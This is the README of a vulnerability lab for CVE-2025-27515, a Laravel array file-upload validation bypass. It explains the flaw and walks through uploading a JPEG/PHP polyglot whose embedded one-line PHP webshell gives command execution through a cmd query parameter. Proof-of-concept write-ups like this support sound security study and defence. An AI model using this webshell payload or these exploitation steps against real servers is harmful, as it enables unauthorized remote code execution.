$ cat cve-2025-27515-laravel-file-upload-bypass.mdx
CVE-2025-27515: Laravel file-upload validation bypass — polyglot JPEG/PHP PoC
Authorization: this is a self-contained lab built for education and authorized security testing only. Run it against a target you own or are explicitly permitted to test. Uploading webshells to systems you don't control is unauthorized access — and a crime in most jurisdictions.
Summary
CVE-2025-27515 is a file-upload validation bypass in the Laravel framework (versions ≤ 12.0.0), classified as CWE-20 (Improper Input Validation) and rated Medium/High. It lets an attacker upload a malicious file that should have been rejected — the kind of file that turns an innocent "profile picture" form into remote code execution.
This repository is a full attacker-and-victim lab: a deliberately vulnerable Laravel application exposing an array-based upload endpoint, plus a Python exploit that crafts the payload and drives the upload all the way to a working webshell.
How the vulnerability works
Laravel validates uploaded files with rules like file, image, mimes, and
size constraints. When an application accepts multiple files it typically
uses a wildcard rule against an array field:
$request->validate([
'files.*' => 'file|mimes:jpg,png|max:2048',
]);The vulnerability lives in how Laravel processes these array-based file
uploads (files.*). Weaknesses in the wildcard validation path let a crafted
upload slip through the checks that were supposed to constrain type and
extension — so a file the ruleset should have rejected is accepted and written to
disk anyway.
Once validation is bypassed, everything downstream trusts the file: it's stored, often under a web-served path, and the "it's just a JPEG" assumption is what gets exploited.
Affected versions
| Laravel Framework | Status |
|---|---|
≤ 12.0.0 | Vulnerable |
| Patched release | Upgrade to a fixed version and re-verify the rules |
The polyglot payload
The exploit smuggles executable PHP inside a file that still looks and validates like an image — a JPEG/PHP polyglot. Three tricks stack together, each defeating one layer of validation:
FF D8 FF E0 # valid JPEG magic bytes (SOI + APP0)
...JPEG header/data... # keeps MIME sniffing happy → image/jpeg
<?php system($_GET['cmd']); ?> # embedded PHP webshell- JPEG magic bytes
FF D8 FF E0— the file starts with a genuine JPEG signature, so content/MIME sniffing reportsimage/jpegand themimes/imagechecks pass. - Embedded
<?php system($_GET['cmd']); ?>— the actual payload. If the PHP interpreter ever executes this file, it runs whatever command is passed in thecmdquery parameter. .jpgextension — a benign, allowlisted extension that defeats extension-based filters while still routing to the PHP handler on a misconfigured server.
Exploitation
- Craft the JPEG/PHP polyglot — valid JPEG header up front,
<?php ... ?>webshell appended, saved with a.jpgextension. - Upload it through the vulnerable
files.*endpoint. The wildcard validation bypass means the polyglot passes themimes/filerules. - Store — Laravel accepts the file and writes it to a web-accessible upload directory.
- Execute — request the stored file with a command in the query string; the embedded PHP runs and returns command output → remote code execution.
GET /uploads/polyglot.jpg?cmd=idRunning it
Prerequisites: PHP with the Laravel app, Composer dependencies installed, and Python 3.
1. Start the vulnerable application:
php artisan serve
# app is served at http://localhost:8000/upload2. Fire the exploit from a second terminal:
pip3 install -r requirements.txt
python3 exploit.py http://localhost:8000The exploit builds the polyglot, submits it to the upload endpoint, and confirms
the bypass by reaching the stored file — from there the ?cmd= parameter gives
command execution on the target.